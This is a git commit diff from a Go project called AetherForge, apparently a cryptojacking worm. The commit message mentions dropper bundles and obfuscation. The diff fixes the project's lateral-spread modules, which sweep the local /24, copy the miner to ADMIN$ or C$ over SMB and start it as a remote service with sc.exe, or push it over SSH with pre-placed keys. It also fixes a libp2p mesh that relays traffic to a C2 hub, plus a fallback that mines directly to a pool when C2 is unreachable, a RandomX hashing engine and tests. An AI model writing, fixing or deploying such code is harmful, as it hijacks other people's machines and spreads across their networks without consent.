fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

View File

@@ -113,6 +113,7 @@ func (c *AgentClient) Run() error {
if err := c.mesh.Start(); err != nil {
log.Printf("[Mesh] Failed to start: %v", err)
}
defer c.mesh.Stop()
}
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.

View File

@@ -178,11 +178,12 @@ func scanKEVExposure(patch *PatchStatusReport, ports *ListenPortsReport, sec *Sy
f.Detail = "Pulse/Ivanti VPN software detected — verify appliance firmware if VPN gateway"
}
case "CVE-2020-5902", "CVE-2022-1388":
if probe.F5Process || listening[443] {
if probe.F5Process {
f.Status = "likely"
f.Detail = "F5-related process detected"
}
if probe.F5Process {
f.Status = "likely"
f.Detail = "F5-related process detected"
} else if listening[443] {
f.Status = "likely"
f.Detail = "TCP/443 listener present — verify F5/BIG-IP patch level if applicable"
}
case "CVE-2021-26084", "CVE-2022-26134":
if probe.ConfluenceLike {

View File

@@ -5,7 +5,9 @@ package client
import (
"context"
"encoding/json"
"fmt"
"log"
"sync"
"github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/host"
@@ -18,8 +20,14 @@ const MeshProtocol = "/aetherforge/mesh/1.0.0"
const DiscoveryTag = "aetherforge-mesh-discovery"
// MeshNode represents a libp2p peer on the local network.
//
// Relay limitation: mesh uplink is one-way. Orphaned peers may forward messages
// to the Hub through a connected relay node, but Hub responses are not sent back
// over the mesh. Treat mesh as a best-effort share/stats uplink, not full C2.
type MeshNode struct {
mu sync.Mutex
host host.Host
mdns mdns.Service
client *AgentClient
}
@@ -30,33 +38,58 @@ func NewMeshNode(c *AgentClient) *MeshNode {
// Start initializes the libp2p host and mDNS discovery.
func (m *MeshNode) Start() error {
m.mu.Lock()
defer m.mu.Unlock()
if m.host != nil {
return nil
}
// Bind to any available local port automatically
h, err := libp2p.New(libp2p.ListenAddrStrings("/ip4/0.0.0.0/tcp/0"))
if err != nil {
return err
}
m.host = h
// Register the protocol handler for incoming mesh streams
m.host.SetStreamHandler(MeshProtocol, m.handleStream)
h.SetStreamHandler(MeshProtocol, m.handleStream)
// Start mDNS discovery to find other agents on the LAN
ser := mdns.NewMdnsService(m.host, DiscoveryTag, m)
ser := mdns.NewMdnsService(h, DiscoveryTag, m)
if err := ser.Start(); err != nil {
_ = h.Close()
return err
}
log.Printf("[Mesh] P2P Node started. PeerID: %s", m.host.ID().String())
m.host = h
m.mdns = ser
log.Printf("[Mesh] P2P Node started. PeerID: %s", h.ID().String())
return nil
}
// Stop tears down mDNS discovery and the libp2p host. Safe to call multiple times.
func (m *MeshNode) Stop() {
m.mu.Lock()
defer m.mu.Unlock()
if m.mdns != nil {
_ = m.mdns.Close()
m.mdns = nil
}
if m.host != nil {
_ = m.host.Close()
m.host = nil
}
}
// HandlePeerFound is a callback for mDNS discovery.
func (m *MeshNode) HandlePeerFound(pi peer.AddrInfo) {
if pi.ID == m.host.ID() {
m.mu.Lock()
h := m.host
m.mu.Unlock()
if h == nil || pi.ID == h.ID() {
return
}
log.Printf("[Mesh] Discovered peer on LAN: %s", pi.ID.String())
if err := m.host.Connect(context.Background(), pi); err != nil {
if err := h.Connect(context.Background(), pi); err != nil {
log.Printf("[Mesh] Failed to connect to peer %s: %v", pi.ID, err)
}
}
@@ -68,19 +101,30 @@ func (m *MeshNode) handleStream(s network.Stream) {
if err := json.NewDecoder(s).Decode(&msg); err != nil {
return
}
// If this node is actively connected to the Hub, act as a Relay.
// We take the incoming share payload from the orphaned peer and pass it to our active connection!
if m.client.conn != nil {
if err := m.relayToHub(msg); err == nil {
log.Printf("[Mesh] Relaying %s message from orphaned peer to Hub", msg.Type)
_ = m.client.write(msg)
}
}
// relayToHub forwards a mesh message to the active Hub WebSocket session.
// write() acquires AgentClient.mu — never read client.conn directly (data race).
func (m *MeshNode) relayToHub(msg Message) error {
if m.client == nil {
return fmt.Errorf("mesh: no agent client")
}
return m.client.write(msg)
}
// BroadcastToMesh sends a message to all connected P2P peers.
func (m *MeshNode) BroadcastToMesh(msg Message) {
for _, p := range m.host.Network().Peers() {
s, err := m.host.NewStream(context.Background(), p, MeshProtocol)
m.mu.Lock()
h := m.host
m.mu.Unlock()
if h == nil {
return
}
for _, p := range h.Network().Peers() {
s, err := h.NewStream(context.Background(), p, MeshProtocol)
if err != nil {
continue
}
@@ -91,8 +135,11 @@ func (m *MeshNode) BroadcastToMesh(msg Message) {
// PeerCount returns the number of connected mesh peers.
func (m *MeshNode) PeerCount() int {
if m.host == nil {
m.mu.Lock()
h := m.host
m.mu.Unlock()
if h == nil {
return 0
}
return len(m.host.Network().Peers())
return len(h.Network().Peers())
}

View File

@@ -9,7 +9,8 @@ func NewMeshNode(_ *AgentClient) *MeshNode { return &MeshNode{} }
func (m *MeshNode) Start() error { return nil }
func (m *MeshNode) Stop() {}
func (m *MeshNode) BroadcastToMesh(_ Message) {}
func (m *MeshNode) PeerCount() int { return 0 }

View File

@@ -0,0 +1,49 @@
//go:build p2p
package client
import (
"testing"
"crypto-miner-agent/config"
)
func TestMeshNodeStartStop(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
m := NewMeshNode(c)
if err := m.Start(); err != nil {
t.Fatal(err)
}
if m.PeerCount() < 0 {
t.Fatal("peer count must be non-negative")
}
m.Stop()
if m.PeerCount() != 0 {
t.Fatalf("peer count after stop = %d, want 0", m.PeerCount())
}
m.Stop() // idempotent
}
func TestMeshNodeStartIdempotent(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
m := NewMeshNode(c)
if err := m.Start(); err != nil {
t.Fatal(err)
}
if err := m.Start(); err != nil {
t.Fatalf("second Start: %v", err)
}
m.Stop()
}
func TestMeshRelayToHubUsesWritePath(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
m := NewMeshNode(c)
err := m.relayToHub(Message{Type: "stats"})
if err == nil {
t.Fatal("expected not-connected error without hub session")
}
if err.Error() != "not connected" {
t.Fatalf("write path error: %v", err)
}
}

20
agent/client/mesh_test.go Normal file
View File

@@ -0,0 +1,20 @@
package client
import (
"testing"
"crypto-miner-agent/config"
)
func TestMeshStubLifecycle(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
m := c.mesh
if err := m.Start(); err != nil {
t.Fatal(err)
}
if m.PeerCount() != 0 {
t.Fatalf("stub peer count = %d, want 0", m.PeerCount())
}
m.Stop()
m.Stop() // idempotent
}

View File

@@ -220,7 +220,7 @@ loop:
}
for i, p := range livePoolList {
addr := fmt.Sprintf("%s:%d", p.host, p.port)
addr := net.JoinHostPort(p.host, fmt.Sprintf("%d", p.port))
proto := "TCP"
if p.tls { proto = "TLS" }
fmt.Printf(" [%d/%d] %s (%s) … ", i+1, len(livePoolList), addr, proto)

View File

@@ -8,7 +8,6 @@ import (
"net"
"os"
"path/filepath"
"strings"
"time"
"crypto-miner-agent/config"
@@ -16,9 +15,12 @@ import (
// StartAutoSpreader launches a background routine that periodically attempts
// to replicate the miner to other machines on the local subnet via SMB and RPC.
//
// Prerequisites: see deploy/subnet.go (Spread prerequisites). SMB copy and remote
// sc.exe service creation require an admin-capable token and reachable TCP/445.
func StartAutoSpreader(cfg config.RuntimeConfig) {
// AutoSpread feature retained per user request.
// Enables SMB/RPC lateral deployment on the local /24 subnet.
// Enables SMB/RPC lateral deployment on the local IPv4 /24 subnet.
if !cfg.AutoSpread {
return
}
@@ -63,12 +65,18 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
seen[t] = true
}
for _, ip := range ips {
if !isIPv4(ip) {
continue // active sweep is IPv4 /24 only; see subnet.go
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
candidate := fmt.Sprintf("%s.%d", subnet, i)
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip || seen[candidate] {
continue
}
@@ -99,39 +107,6 @@ func spreadToLocalSubnet(cfg config.RuntimeConfig) {
}
}
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, i := range ifaces {
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := i.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
if ipnet, ok := a.(*net.IPNet); ok {
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
ips = append(ips, ip4.String())
}
}
}
}
return ips
}
func getSubnet(ip string) string {
parts := strings.Split(ip, ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}
func attemptSpread(cfg config.RuntimeConfig, target string) {
// 1. Quick pre-check: Is port 445 (SMB) open?
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)

View File

@@ -16,6 +16,9 @@ import (
)
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
//
// Prerequisites: see deploy/subnet.go (Spread prerequisites). scp/ssh use
// BatchMode=yes — passwordless SSH with pre-placed keys is required.
func StartAutoSpreader(cfg config.RuntimeConfig) {
if !cfg.AutoSpread {
return
@@ -58,12 +61,18 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
seen[t] = true
}
for _, ip := range ips {
if !isIPv4(ip) {
continue // active sweep is IPv4 /24 only; see subnet.go
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
candidate := fmt.Sprintf("%s.%d", subnet, i)
candidate, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if candidate == ip || seen[candidate] {
continue
}
@@ -121,35 +130,3 @@ func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
}
}
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, i := range ifaces {
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := i.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
if ipnet, ok := a.(*net.IPNet); ok {
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
ips = append(ips, ip4.String())
}
}
}
}
return ips
}
func getSubnet(ip string) string {
parts := strings.Split(ip, ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}

View File

@@ -299,13 +299,19 @@ func ScanLocalSubnet(maxHosts int) string {
var b strings.Builder
seen := 0
for _, ip := range ips {
if !isIPv4(ip) {
continue
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip))
for i := 1; i < 255 && seen < maxHosts; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
target, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if target == ip {
continue
}

View File

@@ -479,12 +479,18 @@ if (Test-Path $dest) {
)
for _, ip := range getLocalIPs() {
if !isIPv4(ip) {
continue
}
subnet := getSubnet(ip)
if subnet == "" {
continue
}
for i := 1; i < 255; i++ {
target := fmt.Sprintf("%s.%d", subnet, i)
target, ok := ipv4SweepHost(subnet, i)
if !ok {
break
}
if target == ip {
continue
}
@@ -515,7 +521,7 @@ if ($s) {
}
func portOpen(host string, port int, timeout time.Duration) bool {
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, fmt.Sprintf("%d", port)), timeout)
if err != nil {
return false
}

109
agent/deploy/subnet.go Normal file
View File

@@ -0,0 +1,109 @@
package deploy
import (
"fmt"
"net"
"strings"
)
// Spread prerequisites for lateral deployment modules:
//
// Windows (SMB/SCM via autospread.go):
// - Target TCP/445 (SMB) must be reachable on the LAN.
// - The agent process token must have rights to write \\host\ADMIN$ or \\host\C$
// and create/start a remote service via sc.exe (typically requires local admin
// or equivalent on the target).
//
// Unix (SSH via autospread_unix.go):
// - Target TCP/22 (SSH) must be reachable.
// - Non-interactive auth only (scp/ssh -o BatchMode=yes): passwordless SSH must
// already work — e.g. the agent user's public key in target authorized_keys,
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
//
// Subnet discovery:
// - Active /24 host sweeps are IPv4-only. IPv6 addresses are tracked for local
// self-skip but are not port-scanned (a /64 sweep is impractical). IPv6 peers
// may appear when the OS neighbor cache lists them on a shared /64.
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
func getLocalIPs() []string {
var ips []string
ifaces, err := net.Interfaces()
if err != nil {
return ips
}
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
continue
}
addrs, err := iface.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
ipnet, ok := a.(*net.IPNet)
if !ok {
continue
}
ip := ipnet.IP
if ip.IsLoopback() || ip.IsMulticast() || ip.IsLinkLocalUnicast() {
continue
}
if ip4 := ip.To4(); ip4 != nil {
ips = append(ips, ip4.String())
continue
}
if ip.To16() != nil {
ips = append(ips, ip.String())
}
}
}
return ips
}
// getSubnet returns the sweep prefix for an address:
// - IPv4: first three octets (/24)
// - IPv6: first four hextets (/64)
//
// Returns "" when the address cannot be used for subnet matching.
func getSubnet(ip string) string {
parsed := net.ParseIP(strings.TrimSpace(ip))
if parsed == nil {
return ""
}
if ip4 := parsed.To4(); ip4 != nil {
parts := strings.Split(ip4.String(), ".")
if len(parts) != 4 {
return ""
}
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}
// IPv6 /64 — collapse :: shorthand for consistent map keys.
full := parsed.String()
if strings.Contains(full, ".") {
return ""
}
hextets := strings.Split(full, ":")
if len(hextets) < 4 {
return ""
}
return strings.Join(hextets[:4], ":")
}
// isIPv4 reports whether addr is an IPv4 host address.
func isIPv4(addr string) bool {
ip := net.ParseIP(addr)
return ip != nil && ip.To4() != nil
}
// ipv4SweepHost returns the i-th host in an IPv4 /24 (1254). ok is false for non-IPv4 prefixes.
func ipv4SweepHost(subnet string, i int) (host string, ok bool) {
if i < 1 || i > 254 {
return "", false
}
parts := strings.Split(subnet, ".")
if len(parts) != 3 {
return "", false
}
return fmt.Sprintf("%s.%s.%s.%d", parts[0], parts[1], parts[2], i), true
}

View File

@@ -0,0 +1,62 @@
package deploy
import (
"net"
"testing"
)
func TestGetSubnetIPv4(t *testing.T) {
if got := getSubnet("192.168.1.42"); got != "192.168.1" {
t.Fatalf("got %q", got)
}
if getSubnet("bad") != "" {
t.Fatal("invalid ip should return empty")
}
if getSubnet("10.0.0.1") != "10.0.0" {
t.Fatalf("got %q", getSubnet("10.0.0.1"))
}
}
func TestGetSubnetIPv6(t *testing.T) {
ip := "2001:db8:abcd:0012::1"
got := getSubnet(ip)
want := "2001:db8:abcd:12"
if got != want {
t.Fatalf("got %q want %q", got, want)
}
if getSubnet("::1") != "" {
t.Fatal("short IPv6 address should not yield sweep prefix")
}
}
func TestIPv4SweepHost(t *testing.T) {
host, ok := ipv4SweepHost("10.0.0", 42)
if !ok || host != "10.0.0.42" {
t.Fatalf("got %q ok=%v", host, ok)
}
if _, ok := ipv4SweepHost("2001:db8", 1); ok {
t.Fatal("IPv6 prefix should not produce sweep host")
}
}
func TestIsIPv4(t *testing.T) {
if !isIPv4("192.168.0.1") {
t.Fatal("expected IPv4")
}
if isIPv4("2001:db8::1") {
t.Fatal("expected not IPv4")
}
}
func TestGetLocalIPsSkipsLoopback(t *testing.T) {
ips := getLocalIPs()
for _, ip := range ips {
parsed := net.ParseIP(ip)
if parsed == nil {
t.Fatalf("invalid ip %q", ip)
}
if parsed.IsLoopback() {
t.Fatalf("loopback %q should be excluded", ip)
}
}
}

View File

@@ -2,11 +2,18 @@ package miner
import (
"encoding/hex"
"errors"
"fmt"
"sync"
"git.gammaspectra.live/P2Pool/go-randomx"
)
var (
ErrEngineNotReady = errors.New("randomx VM not initialized")
ErrBlobTooShort = errors.New("blob shorter than nonce offset")
)
const nonceOffset = 39
const nonceSize = 4
@@ -59,8 +66,11 @@ func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err
e.mu.RLock()
defer e.mu.RUnlock()
if e.vm == nil || len(e.blob) < nonceOffset+nonceSize {
return "", "", nil
if e.vm == nil {
return "", "", ErrEngineNotReady
}
if len(e.blob) < nonceOffset+nonceSize {
return "", "", fmt.Errorf("%w (need %d bytes, have %d)", ErrBlobTooShort, nonceOffset+nonceSize, len(e.blob))
}
work := append([]byte(nil), e.blob...)

View File

@@ -1,6 +1,7 @@
package miner
import (
"errors"
"fmt"
"strings"
"testing"
@@ -31,11 +32,11 @@ func TestEngineSetJobInvalidBlob(t *testing.T) {
func TestEngineHashAtNonceNoVM(t *testing.T) {
e := NewEngine()
hash, blob, err := e.HashAtNonce(0)
if err != nil {
t.Fatalf("unexpected error: %v", err)
if !errors.Is(err, ErrEngineNotReady) {
t.Fatalf("expected ErrEngineNotReady, got err=%v hash=%q blob=%q", err, hash, blob)
}
if hash != "" || blob != "" {
t.Fatalf("empty VM should return empty strings, got hash=%q blob=%q", hash, blob)
t.Fatalf("unready VM should return empty strings, got hash=%q blob=%q", hash, blob)
}
}
@@ -46,11 +47,11 @@ func TestEngineHashAtNonceShortBlob(t *testing.T) {
t.Fatal(err)
}
hash, blob, err := e.HashAtNonce(1)
if err != nil {
t.Fatal(err)
if !errors.Is(err, ErrBlobTooShort) {
t.Fatalf("expected ErrBlobTooShort, got err=%v hash=%q blob=%q", err, hash, blob)
}
if hash != "" || blob != "" {
t.Fatalf("blob shorter than nonce offset should not hash, got hash=%q blob=%q", hash, blob)
t.Fatalf("short blob should return empty strings, got hash=%q blob=%q", hash, blob)
}
}